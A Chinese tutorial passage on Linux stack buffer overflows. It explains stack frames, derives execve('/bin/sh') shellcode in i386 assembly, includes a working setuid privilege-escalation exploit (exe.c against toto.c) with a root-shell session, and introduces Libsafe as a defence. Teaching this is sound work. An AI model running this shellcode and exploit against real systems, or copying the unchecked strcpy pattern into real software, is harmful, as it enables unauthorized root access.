如果读者使用的是较高版本的gcc或bash的话,运行文中示例程序的结果可能会与这里给出的结果不尽相符,具体原因将在相应章节中做出解释。

Linux下缓冲区溢出攻击实例

为了引起读者的兴趣,我们不妨先来看一个Linux下的缓冲区溢出攻击实例。

#include #include 


extern char **environ;


int main(int argc, char **argv){ char large_string[128]; long *long_ptr = (long *) large_string; int i; char shellcode[] = "\\xeb\\x1f\\x5e\\x89\\x76\\x08\\x31\\xc0\\x88\\x46\\x07\\x89\\x46\\x0c\\xb0\\x0b" "\\x89\\xf3\\x8d\\x4e\\x08\\x8d\\x56\\x0c\\xcd\\x80\\x31\\xdb\\x89\\xd8\\x40\\xcd" "\\x80\\xe8\\xdc\\xff\\xff\\xff/bin/sh";


for (i = 0; i < 32; i++) *(long_ptr + i) = (int) strtoul(argv[2], NULL, 16); for (i = 0; i < (int) strlen(shellcode); i++) large_string[i] = shellcode[i];


setenv("KIRIKA", large_string, 1); execle(argv[1], argv[1], NULL, environ);


return 0;}

图1 攻击程序exe.c

#include #include 


int main(int argc, char **argv){ char buffer[96];


printf("- %p -\\n", &buffer); strcpy(buffer, getenv("KIRIKA"));


return 0;}

图2 攻击对象toto.c

将上面两个程序分别编译为可执行程序,并且将toto改为属主为root的setuid程序:

$ gcc exe.c -o exe$ gcc toto.c -o toto$ suPassword:# chown root.root toto# chmod +s toto# ls -l exe toto-rwxr-xr-x     1 wy       os           11871 Sep 28 20:20 exe*-rwsr-sr-x   1 root     root         11269 Sep 28 20:20 toto*# exit


OK,看看接下来会发生什么。首先别忘了用whoami命令验证一下我们现在的身份。其实Linux继承了UNIX的一个习惯,即普通用户的命令提示符是以$开始的,而超级用户的命令提示符是以#开始的。

$ whoamiwy$ ./exe ./toto 0xbfffffff- 0xbffffc38 -Segmentation fault$ ./exe ./toto 0xbffffc38- 0xbffffc38 -bash# whoamirootbash#

第一次一般不会成功,但是我们可以准确得知系统的漏洞所在――0xbffffc38,第二次必然一击毙命。当我们在新创建的shell下再次执行 whoami命令时,我们的身份已经是root了!由于在所有UNIX系统下黑客攻击的最高目标就是对root权限的追求,因此可以说系统已经被攻破了。

这里我们模拟了一次Linux下缓冲区溢出攻击的典型案例。toto的属主为root,并且具有setuid属性,通常这种程序是缓冲区溢出的典型 攻击目标。普通用户wy通过其含有恶意攻击代码的程序exe向具有缺陷的toto发动了一次缓冲区溢出攻击,并由此获得了系统的root权限。有一点需要 说明的是,如果读者使用的是较高版本的bash的话,即使通过缓冲区溢出攻击exe得到了一个新的shell,在看到whoami命令的结果后您可能会发 现您的权限并没有改变,具体原因我们将在本文最后一节做出详细的解释。不过为了一睹为快,您可以先使用本文代码包中所带的exe_pro.c作为攻击程序,而不是图1中的exe.c。

Linux下进程地址空间的布局及堆栈帧的结构

要想了解Linux下缓冲区溢出攻击的原理,我们必须首先掌握Linux下进程地址空间的布局以及堆栈帧的结构。

任何一个程序通常都包括代码段和数据段,这些代码和数据本身都是静态的。程序要想运行,首先要由操作系统负责为其创建进程,并在进程的虚拟地址空间 中为其代码段和数据段建立映射。光有代码段和数据段是不够的,进程在运行过程中还要有其动态环境,其中最重要的就是堆栈。图3所示为Linux下进程的地 址空间布局:


图3 Linux下进程地址空间的布局

首先,execve(2)会负责为进程代码段和数据段建立映射,真正将代码段和数据段的内容读入内存是由系统的缺页异常处理程序按需完成的。另外, execve(2)还会将bss段清零,这就是为什么未赋初值的全局变量以及static变量其初值为零的原因。进程用户空间的最高位置是用来存放程序运 行时的命令行参数及环境变量的,在这段地址空间的下方和bss段的上方还留有一个很大的空洞,而作为进程动态运行环境的堆栈和堆就栖身其中,其中堆栈向下 伸展,堆向上伸展。

知道了堆栈在进程地址空间中的位置,我们再来看一看堆栈中都存放了什么。相信读者对C语言中的函数这样的概念都已经很熟悉了,实际上堆栈中存放的就 是与每个函数对应的堆栈帧。当函数调用发生时,新的堆栈帧被压入堆栈;当函数返回时,相应的堆栈帧从堆栈中弹出。典型的堆栈帧结构如图4所示。

堆栈帧的顶部为函数的实参,下面是函数的返回地址以及前一个堆栈帧的指针,最下面是分配给函数的局部变量使用的空间。一个堆栈帧通常都有两个指针, 其中一个称为堆栈帧指针,另一个称为栈顶指针。前者所指向的位置是固定的,而后者所指向的位置在函数的运行过程中可变。因此,在函数中访问实参和局部变量 时都是以堆栈帧指针为基址,再加上一个偏移。对照图4可知,实参的偏移为正,局部变量的偏移为负。


图4 典型的堆栈帧结构

介绍了堆栈帧的结构,我们再来看一下在Intel i386体系结构上堆栈帧是如何实现的。图5和图6分别是一个简单的C程序及其编译后生成的汇编程序。

int function(int a, int b, int c){       char buffer[14];       int     sum;       sum = a + b + c;       return sum;}


void main(){ int i; i = function(1,2,3);}

图5 一个简单的C程序example1.c

1    .file   "example1.c"2     .version    "01.01"3 gcc2_compiled.:4 .text5     .align 46 .globl function7     .type    function,@function8 function:9     pushl %ebp10     movl %esp,%ebp11     subl $20,%esp12     movl 8(%ebp),%eax13     addl 12(%ebp),%eax14     movl 16(%ebp),%edx15     addl %eax,%edx16     movl %edx,-20(%ebp)17     movl -20(%ebp),%eax18     jmp .L119     .align 420 .L1:21     leave22     ret23 .Lfe1:24     .size    function,.Lfe1-function25     .align 426 .globl main27     .type    main,@function28 main:29     pushl %ebp30 movl %esp,%ebp31     subl $4,%esp32     pushl $333     pushl $234     pushl $135     call function36     addl $12,%esp37     movl %eax,%eax38     movl %eax,-4(%ebp)39 .L2:40     leave41     ret42 .Lfe2:43     .size    main,.Lfe2-main44     .ident  "GCC: (GNU) 2.7.2.3"

图6 example1.c编译后生成的汇编程序example1.s

这里我们着重关心一下与函数function对应的堆栈帧形成和销毁的过程。从图5中可以看到,function是在main中被调用的,三个实参 的值分别为1、2、3。由于C语言中函数传参遵循反向压栈顺序,所以在图6中32至34行三个实参从右向左依次被压入堆栈。接下来35行的call指令除 了将控制转移到function之外,还要将call的下一条指令addl的地址,也就是function函数的返回地址压入堆栈。下面就进入 function函数了,首先在第9行将main函数的堆栈帧指针ebp保存在堆栈中并在第10行将当前的栈顶指针esp保存在堆栈帧指针ebp中,最后 在第11行为function函数的局部变量buffer[14]和sum在堆栈中分配空间。至此,函数function的堆栈帧就构建完成了,其结构如 图7所示。


图7 函数function的堆栈帧

读者不妨回过头去与图4对比一下。这里有几点需要说明。首先,在Intel i386体系结构下,堆栈帧指针的角色是由ebp扮演的,而栈顶指针的角色是由esp扮演的。另外,函数function的局部变量buffer[14] 由14个字符组成,其大小按说应为14字节,但是在堆栈帧中却为其分配了16个字节。这是时间效率和空间效率之间的一种折衷,因为Intel i386是32位的处理器,其每次内存访问都必须是4字节对齐的,而高30位地址相同的4个字节就构成了一个机器字。因此,如果为了填补buffer [14]留下的两个字节而将sum分配在两个不同的机器字中,那么每次访问sum就需要两次内存操作,这显然是无法接受的。还有一点需要说明的是,正如我 们在本文前言中所指出的,如果读者使用的是较高版本的gcc的话,您所看到的函数function对应的堆栈帧可能和图7所示有所不同。上面已经讲过,为 函数function的局部变量buffer[14]和sum在堆栈中分配空间是通过在图6中第11行对esp进行减法操作完成的,而sub指令中的20 正是这里两个局部变量所需的存储空间大小。但是在较高版本的gcc中,sub指令中出现的数字可能不是20,而是一个更大的数字。应该说这与优化编译技术 有关,在较高版本的gcc中为了有效运用目前流行的各种优化编译技术,通常需要在每个函数的堆栈帧中留出一定额外的空间。

下面我们再来看一下在函数function中是如何将a、b、c的和赋给sum的。前面已经提过,在函数中访问实参和局部变量时都是以堆栈帧指针为 基址,再加上一个偏移,而Intel i386体系结构下的堆栈帧指针就是ebp,为了清楚起见,我们在图7中标出了堆栈帧中所有成分相对于堆栈帧指针ebp的偏移。这下图6中12至16的计 算就一目了然了,8(%ebp)、12(%ebp)、16(%ebp)和-20(%ebp)分别是实参a、b、c和局部变量sum的地址,几个简单的 add指令和mov指令执行后sum中便是a、b、c三者之和了。另外,在gcc编译生成的汇编程序中函数的返回结果是通过eax传递的,因此在图6中第 17行将sum的值拷贝到eax中。

最后,我们再来看一下函数function执行完之后与其对应的堆栈帧是如何弹出堆栈的。图6中第21行的leave指令将堆栈帧指针ebp拷贝到 esp中,于是在堆栈帧中为局部变量buffer[14]和sum分配的空间就被释放了;除此之外,leave指令还有一个功能,就是从堆栈中弹出一个机 器字并将其存放到ebp中,这样ebp就被恢复为main函数的堆栈帧指针了。第22行的ret指令再次从堆栈中弹出一个机器字并将其存放到指令指针 eip中,这样控制就返回到了第36行main函数中的addl指令处。addl指令将栈顶指针esp加上12,于是当初调用函数function之前压 入堆栈的三个实参所占用的堆栈空间也被释放掉了。至此,函数function的堆栈帧就被完全销毁了。前面刚刚提到过,在gcc编译生成的汇编程序中通过 eax传递函数的返回结果,因此图6中第38行将函数function的返回结果保存在了main函数的局部变量i中。

Linux下缓冲区溢出攻击的原理

明白了Linux下进程地址空间的布局以及堆栈帧的结构,我们再来看一个有趣的例子。

1 int function(int a, int b, int c) {2     char buffer[14];3     int sum;4     int *ret;56     ret = buffer + 20;7     (*ret) += 10;8     sum = a + b + c;9     return sum;10 }1112 void main() {13     int x;1415     x = 0;16     function(1,2,3);17     x = 1;18     printf("%d\\n",x);19 }

图8 一个奇妙的程序example2.c

在main函数中,局部变量x的初值首先被赋为0,然后调用与x毫无关系的function函数,最后将x的值改为1并打印出来。结果是多少呢,如 果我告诉你是0你相信吗?闲话少说,还是赶快来看看函数function都动了哪些手脚吧。这里的function函数与图5中的function相比只 是多了一个指针变量ret以及两条对ret进行操作的语句,就是它们使得main函数最后打印的结果变成了0。对照图7可知,地址buffer + 20处保存的正是函数function的返回地址,第7行的语句将函数function的返回地址加了10。这样会达到什么效果呢?看一下main函数对 应的汇编程序就一目了然了。

$ gdb example2(gdb) disassemble mainDump of assembler code for function main:0x804832c :       push   %ebp0x804832d :     mov    %esp,%ebp0x804832f :     sub    $0x4,%esp0x8048332 :     movl   $0x0,0xfffffffc(%ebp)0x8048339 :    push   $0x30x804833b :    push   $0x20x804833d :    push   $0x10x804833f :    call   0x80482f8 0x8048344 :    add    $0xc,%esp0x8048347 :    movl   $0x1,0xfffffffc(%ebp)0x804834e :    mov    0xfffffffc(%ebp),%eax0x8048351 :    push   %eax0x8048352 :    push   $0x80483b80x8048357 :    call   0x8048284 0x804835c :    add    $0x8,%esp0x804835f :    leave0x8048360 :    ret0x8048361 :    lea    0x0(%esi),%esiEnd of assembler dump.

图9 example2.c中main函数对应的汇编程序

地址为0x804833f的call指令会将0x8048344压入堆栈作为函数function的返回地址,而图8中第7行语句的作用就是将 0x8048344加10从而变成了0x804834e。这么一改当函数function返回时地址为0x8048347的mov指令就被跳过了,而这条 mov指令的作用正是用来将x的值改为1。既然x的值没有改变,我们打印看到的结果就必然是其初值0了。

当然,图8所示只是一个示例性的程序,通过修改保存在堆栈帧中的函数的返回地址,我们改变了程序正常的控制流。图8中程序的运行结果可能会使很多读 者感到新奇,但是如果函数的返回地址被修改为指向一段精心安排好的恶意代码,那时你又会做何感想呢?缓冲区溢出攻击正是利用了在某些体系结构下函数的返回 地址被保存在程序员可见的堆栈中这一缺陷,修改函数的返回地址,使得一段精心安排好的恶意代码在函数返回时得以执行,从而达到危害系统安全的目的。

说到缓冲区溢出就不能不提shellcode,shellcode读者已经在图1中见过了,其作用就是生成一个shell。下面我们就来一步步看一 下这段令人眼花缭乱的程序是如何得来的。首先要说明一下,Linux下的系统调用都是通过int $0x80中断实现的。在调用int $0x80之前,eax中保存了系统调用号,而系统调用的参数则保存在其它寄存器中。图10所示是直接利用系统调用实现的Hello World程序。

#include 


int errno;


_syscall3(int, write, int, fd, char *, data, int, len);


_syscall1(int, exit, int, status);


_start(){ write(0, "Hello world!\\n", 13); exit(0);}

图10 直接利用系统调用实现的Hello World程序hello.c

将其编译链接生成可执行程序hello:

$ gcc -c hello.c$ ld hello.o -o hello$ ./helloHello world!$ ls -l hello-rwxr-xr-x    1 wy       os           1188 Sep 29 17:31 hello*


有兴趣的读者可以将这个hello的大小和我们当初在第一节C语言课上学过的Hello World程序的大小比较一下,看看能不能用C语言写出更小的Hello World程序。图10中的_syscall3和_syscall1都是定义于/usr/include/asm/unistd.h中的宏,该文件中定义 了以__NR_开头的各种系统调用的所对应的系统调用号以及_syscall0到_syscall6六个宏,分别用于参数个数为0到6的系统调用。由此可 知,Linux系统中系统调用所允许的最大参数个数就是6个,比如mmap(2)。另外,仔细阅读syscall0到_syscall6六个宏的定义不难 发现,系统调用号是存放在寄存器eax中的,而系统调用可能会用到的6个参数依次存放在寄存器ebx、ecx、edx、esi、edi和ebp中。

清楚了系统调用的使用规则,我先来看一下如何在Linux下生成一个shell。应该说这是非常简单的任务,使用execve(2)系统调用即可,如图11所示。

#include 


int main(){ char *name[2];


name[0] = "/bin/sh"; name[1] = NULL; execve(name[0], name, NULL); _exit(0);}

图11 shellcode.c在Linux下生成一个shell

在shellcode.c中一共用到了两个系统调用,分别是execve(2)和_exit(2)。查看 /usr/include/asm/unistd.h文件可以得知,与其相应的系统调用号__NR_execve和__NR_exit分别为11和1。按 照前面刚刚讲过的系统调用规则,在Linux下生成一个shell并结束退出需要以下步骤:

  • 在内存中存放一个以'\'结束的字符串"/bin/sh";
  • 将字符串"/bin/sh"的地址保存在内存中的某个机器字中,并且后面紧接一个值为0的机器字,这里相当于设置好了图11中name[2]中的两个指针;
  • 将execve(2)的系统调用号11装入eax寄存器;
  • 将字符串"/bin/sh"的地址装入ebx寄存器;
  • 将第2步中设好的字符串"/bin/sh"的地址的地址装入ecx寄存器;
  • 将第2步中设好的值为0的机器字的地址装入edx寄存器;
  • 执行int $0x80,这里相当于调用execve(2);
  • 将_exit(2)的系统调用号1装入eax寄存器;
  • 将退出码0装入ebx寄存器;
  • 执行int $0x80,这里相当于调用_exit(2)。

于是我们就得到了图12所示的汇编程序。

1 void main()2 {3  __asm__("4    jmp     1f5  2:  popl    %esi6    movl    %esi,0x8(%esi)7    movb    $0x0,0x7(%esi)8    movl    $0x0,0xc(%esi)9    movl    $0xb,%eax10    movl    %esi,%ebx11    leal    0x8(%esi),%ecx12    leal    0xc(%esi),%edx13    int     $0x8014    movl    $0x1, %eax15    movl    $0x0, %ebx16    int     $0x8017  1:  call    2b18    .string \\"/bin/sh\\"19  ");20 }

图12 使用execve(2)和_exit(2)系统调用生成shell的汇编程序shellcodeasm.c

这里第4行的jmp指令和第17行的call指令使用的都是IP相对寻址方式,第14行至第16行对应于_exit(2)系统调用,由于它比较简 单,我们着重看一下调用execve(2)的过程。首先第4行的jmp指令执行之后控制就转移到了第17行的call指令处,在call指令的执行过程中 除了将控制转移到第5行的pop指令外,还会将其下一条指令的地址压入堆栈。然而由图12可知,call指令后面并没有后续的指令,而是存放了字符串 "/bin/sh",于是实际被压入堆栈的便成了字符串"/bin/sh"的地址。第5行的pop指令将刚刚压入堆栈的字符串地址弹出到esi寄存器中。 接下来的三条指令首先将esi中的字符串地址保存在字符串"/bin/sh"之后的机器字中,然后又在字符串"/bin/sh"的结尾补了个'\', 最后将0写入内存中合适的位置。第9行至第12行按图13所示正确设置好了寄存器eax、ebx、ecx和edx的值,在第13行就可以调用execve (2)了。但是在编译shellcodeasm.c之后,你会发现程序无法运行。原因就在于图13中所示的所有数据都存放在代码段中,而在Linux下存 放代码的页面是不可写的,于是当我们试图使用图12中第6行的mov指令进行写操作时,页面异常处理程序会向运行我们程序的进程发送一个SIGSEGV信 号,这样我们的终端上便会出现Segmentation fault的提示信息。


图13调用execve(2)之前各寄存器的设置

解决的办法很简单,既然不能对代码段进行写操作,我们就把图12中的代码挪到可写的数据段或堆栈段中。可是一段可执行的代码在数据段中应该怎么表示 呢?其实,内存中存放着的无非是0和1这样的比特,当我们的程序将其用作代码时这些比特就成了代码,而当我们的程序将其用作数据时这些比特又成了数据。我 们先来看一下图12中的代码在内存中是如何存放的,通过gdb中的x命令可以很容易的做到这一点,如图14所示。

$ gdb shellcodeasm(gdb) disassemble mainDump of assembler code for function main:0x80482c4 :       push   %ebp0x80482c5 :     mov    %esp,%ebp0x80482c7 :     jmp    0x80482f3 0x80482c9 :     pop    %esi0x80482ca :     mov    %esi,0x8(%esi)0x80482cd :     movb   $0x0,0x7(%esi)0x80482d1 :    movl   $0x0,0xc(%esi)0x80482d8 :    mov    $0xb,%eax0x80482dd :    mov    %esi,%ebx0x80482df :    lea    0x8(%esi),%ecx0x80482e2 :    lea    0xc(%esi),%edx0x80482e5 :    int    $0x800x80482e7 :    mov    $0x1,%eax0x80482ec :    mov    $0x0,%ebx0x80482f1 :    int    $0x800x80482f3 :    call   0x80482c9 0x80482f8 :    das0x80482f9 :    bound  %ebp,0x6e(%ecx)0x80482fc :    das0x80482fd :    jae    0x80483670x80482ff :    add    %cl,%cl0x8048301 :    ret0x8048302 :    mov    %esi,%esiEnd of assembler dump.(gdb) x /49xb 0x80482c70x80482c7 :  0xeb 0x2a 0x5e 0x89 0x76 0x08 0xc6 0x460x80482cf :  0x07 0x00 0xc7 0x46 0x0c 0x00 0x00 0x000x80482d7 :  0x00 0xb8 0x0b 0x00 0x00 0x00 0x89 0xf30x80482df :  0x8d 0x4e 0x08 0x8d 0x56 0x0c 0xcd 0x800x80482e7 :  0xb8 0x01 0x00 0x00 0x00 0xbb 0x00 0x000x80482ef :  0x00 0x00 0xcd 0x80 0xe8 0xd1 0xff 0xff0x80482f7 :  0xff


图14 通过gdb中的x命令查看图12中的代码在内存中对应的数据

从jmp指令的起始地址0x80482c7到call指令的结束地址0x80482f8,一共49个字节。起始地址为0x80482f8的8个字节 的内存单元中实际存放的是字符串"/bin/sh",因此我们在那里看到了几条奇怪的指令。至此,我们的shellcode已经初具雏形了,但是还有几处 需要改进。首先,将来我们要通过strcpy(3)这种存在安全隐患的函数将上面的代码拷贝到某个内存缓冲区中,而strcpy(3)在遇到内容为'\ '的字节时就会停止拷贝。然而从图14中可以看到,我们的代码中有很多这样的'\'字节,因此需要将它们全部去掉。另外,某些指令的长度可以缩 减,以使得我们的shellcode更加精简。按照图15所列的改进方案,我们便得到了图16中最终的shellcode。

存在问题的指令          改进后的指令movb $0x0,0x7(%esi)     xorl %eax,%eaxmolv $0x0,0xc(%esi)     movb %eax,0x7(%esi)                       movl %eax,0xc(%esi)


movl $0xb,%eax movb $0xb,%al


movl $0x1, %eax xorl %ebx,%ebxmovl $0x0, %ebx movl %ebx,%eax inc %eax

图15 shellcode的改进方案

void main(){ __asm__("   jmp     1f 2:  popl    %esi   movl    %esi,0x8(%esi)   xorl    %eax,%eax   movb    %eax,0x7(%esi)   movl    %eax,0xc(%esi)   movb    $0xb,%al   movl    %esi,%ebx   leal    0x8(%esi),%ecx   leal    0xc(%esi),%edx   int     $0x80   xorl    %ebx,%ebx   movl    %ebx,%eax   inc     %eax   int     $0x80 1:  call    2b   .string \\"/bin/sh\\" ");}

图16 最终的shellcode汇编程序shellcodeasm2.c

同样,按照上面的方法再次查看内存中的shellcode代码,如图16所示。我们在图16中再次列出了图1 用到过的shellcode,有兴趣的读者不妨比较一下。

$ gdb shellcodeasm2(gdb) disassemble mainDump of assembler code for function main:0x80482c4 :       push   %ebp0x80482c5 :     mov    %esp,%ebp0x80482c7 :     jmp    0x80482e8 0x80482c9 :     pop    %esi0x80482ca :     mov    %esi,0x8(%esi)0x80482cd :     xor    %eax,%eax0x80482cf :    mov    %al,0x7(%esi)0x80482d2 :    mov    %eax,0xc(%esi)0x80482d5 :    mov    $0xb,%al0x80482d7 :    mov    %esi,%ebx0x80482d9 :    lea    0x8(%esi),%ecx0x80482dc :    lea    0xc(%esi),%edx0x80482df :    int    $0x800x80482e1 :    xor    %ebx,%ebx0x80482e3 :    mov    %ebx,%eax0x80482e5 :    inc    %eax0x80482e6 :    int    $0x800x80482e8 :    call   0x80482c9 0x80482ed :    das0x80482ee :    bound  %ebp,0x6e(%ecx)0x80482f1 :    das0x80482f2 :    jae    0x804835c0x80482f4 :    add    %cl,%cl0x80482f6 :    ret0x80482f7 :    nopEnd of assembler dump.(gdb) x /38xb 0x80482c70x80482c7 :  0xeb 0x1f 0x5e 0x89 0x76 0x08 0x31 0xc00x80482cf :  0x88 0x46 0x07 0x89 0x46 0x0c 0xb0 0x0b0x80482d7 :  0x89 0xf3 0x8d 0x4e 0x08 0x8d 0x56 0x0c0x80482df :  0xcd 0x80 0x31 0xdb 0x89 0xd8 0x40 0xcd0x80482e7 :  0x80 0xe8 0xdc 0xff 0xff 0xff


char shellcode[] ="\\xeb\\x1f\\x5e\\x89\\x76\\x08\\x31\\xc0\\x88\\x46\\x07\\x89\\x46\\x0c\\xb0\\x0b""\\x89\\xf3\\x8d\\x4e\\x08\\x8d\\x56\\x0c\\xcd\\x80\\x31\\xdb\\x89\\xd8\\x40\\xcd""\\x80\\xe8\\xdc\\xff\\xff\\xff/bin/sh";


图17 shellcode的来历

我猜当你看到这里时一定也像我当初一样已经热血沸腾、迫不及待了吧?那就赶快来试一下吧。

char shellcode[] =       "\\xeb\\x1f\\x5e\\x89\\x76\\x08\\x31\\xc0\\x88\\x46\\x07\\x89\\x46\\x0c\\xb0\\x0b"       "\\x89\\xf3\\x8d\\x4e\\x08\\x8d\\x56\\x0c\\xcd\\x80\\x31\\xdb\\x89\\xd8\\x40\\xcd"       "\\x80\\xe8\\xdc\\xff\\xff\\xff/bin/sh";


void main(){ int *ret;


ret = (int *)&ret + 2; (*ret) = (int)shellcode;


}

图18 通过程序testsc.c验证我们的shellcode

将testsc.c编译成可执行程序,再运行testsc就可以看到shell了!

$ gcc testsc.c -o testsc$ ./testscbash$

图19描绘了testsc.c程序所作的一切,相信有了前面那么长的铺垫,读者在看到图19时应该已经没有困难了。


图19 程序testsc.c的控制流程

下面我们该回头看看本文开头的那个Linux下缓冲区溢出攻击实例了。攻击程序exe.c利用了系统中存在漏洞的程序toto.c,通过以下步骤向系统发动了一次缓冲区溢出攻击:

  • 通过命令行参数argv[2]得到toto.c程序中缓冲区buffer[96]的地址,并将该地址填充到large_string[128]中;
  • 将我们已经准备好的shellcode拷贝到large_string[128]的开头;
  • 通过环境变量KIRIKA将我们的shellcode注射到buffer[96]中;
  • 当toto.c程序中的main函数返回时,buffer[96]中的shellcode得以运行;由于toto的属主为root,并且具有setuid属性,因此我们得到的shell便具有了root权限。

程序exe.c的控制流程与图19所示程序testsc.c的控制流程非常相似,唯一的不同在于这次我们的shellcode是寄宿在toto运行 时的堆栈里,而不是在数据段中。之所以不能再将shellcode放在数据段中是因为当我们在程序exe.c中调用execle(3) 运行toto时,进程整个地址空间的映射会根据toto程序头部的描述信息重新设置,而原来的地址空间中数据段的内容已经不能再访问了,因此在程序 exe.c中shellcode是通过环境变量来传递的。

怎么样,是不是感觉传说中的黑客不再像你想象的那样神秘了?暂时不要妄下结论,在上面的缓冲区溢出攻击实例中,攻击程序exe之所以能够准确的将 shellcode注射到toto的buffer[96]中,关键在于我们在toto程序中打印出了buffer[96]在堆栈中的起始地址。当然,在实 际的系统中,不要指望有像toto这样家有丑事还自揭疮疤的事情发生。

Linux下防御缓冲区溢出攻击的对策

了解了缓冲区溢出攻击的原理,接下来要做的显然就是要找出克敌之道。这里,我们主要介绍一种非常简单但是又比较流行的方法――Libsafe。

在标准C库中存在着很多像strcpy(3)这种用于处理字符串的函数,它们将一个字符串拷贝到另一个字符串中。对于何时停止拷贝,这些函数通常只 有一个判断标准,即是否遇上了'\'字符。然而这个唯一的标准显然是不够的。我们在上一节刚刚分析过的Linux下缓冲区溢出攻击实例正是利用 strcpy(3)对系统实施了攻击,而strcpy(3)的缺陷就在于在拷贝字符串时没有将目的字符串的大小这一因素考虑进来。像这样的函数还有很多, 比如strcat、gets、scanf、sprintf等等。统计数据表明,在已经发现的缓冲区溢出攻击案例中,肇事者多是这些函数。正是基于上述事 实,Avaya实验室推出了Libsafe。

在现在的Linux系统中,程序链接时所使用的大多都是动态链接库。动态链接库本身就具有很多优点,比如在库升级之后,系统中原有的程序既不需要重 新编译也不需要重新链接就可以使用升级后的动态链接库继续运行。除此之外,Linux还为动态链接库的使用提供了很多灵活的手段,而预载 (preload)机制就是其中之一。在Linux下,预载机制是通过环境变量LD_PRELOAD的设置提供的。简单来说,如果系统中有多个不同的动态 链接库都实现了同一个函数,那么在链接时优先使用环境变量LD_PRELOAD中设置的动态链接库。这样一来,我们就可以利用Linux提供的预载机制将 上面提到的那些存在安全隐患的函数替换掉,而Libsafe正是基于这一思想实现的。

图20所示的testlibsafe.c是一段非常简单的程序,字符串buf2[16]中首先被写满了'A',然后再通过strcpy(3)将其拷 贝到buf1[8]中。由于buf2[16]比buf1[8]要大,显然会发生缓冲区溢出,而且很容易想到,由于'A'的二进制表示为0x41,所以 main函数的返回地址被改为了0x41414141。这样当main返回时就会发生Segmentation fault。

#include 


void main(){ char buf1[8]; char buf2[16]; int i;


for (i = 0; i < 16; ++i) buf2[i] = 'A'; strcpy(buf1, buf2);}

图20 测试Libsafe

$ gcc testlibsafe.c -o testlibsafe$ ./testlibsafeSegmentation fault (core dumped)


下面我们就来看一看Libsafe是如何保护我们免遭缓冲区溢出攻击的。首先,在系统中安装Libsafe,本文的附件中提供了其2.0版的安装包。

$ suPassword:# rpm -ivh libsafe-2.0-2.i386.rpmlibsafe  ################################################### exit


至此安装还没有结束,接下来还要正确设置环境变量LD_PRELOAD。

$ export LD_PRELOAD=/lib/libsafe.so.2


下面就可以来试试看了。

$ ./testlibsafeDetected an attempt to write across stack boundary.Terminating /home2/wy/projects/overflow/bof/testlibsafe.   uid=1011  euid=1011  pid=9481Call stack:   0x40017721   0x4001780a   0x8048328   0x400429c6Overflow caused by strcpy()


可以看到,Libsafe正确检测到了由strcpy()函数导致的缓冲区溢出,其uid、euid和pid,以及进程运行时的Call stack也被一并列出。另外,这些信息不光是在终端上显示,还会被记录到系统日志中,这样系统管理员就可以掌握潜在的攻击来源并及时加以防范。

那么,有了Libsafe我们就可以高枕无忧了吗?千万不要有这种天真的想法,在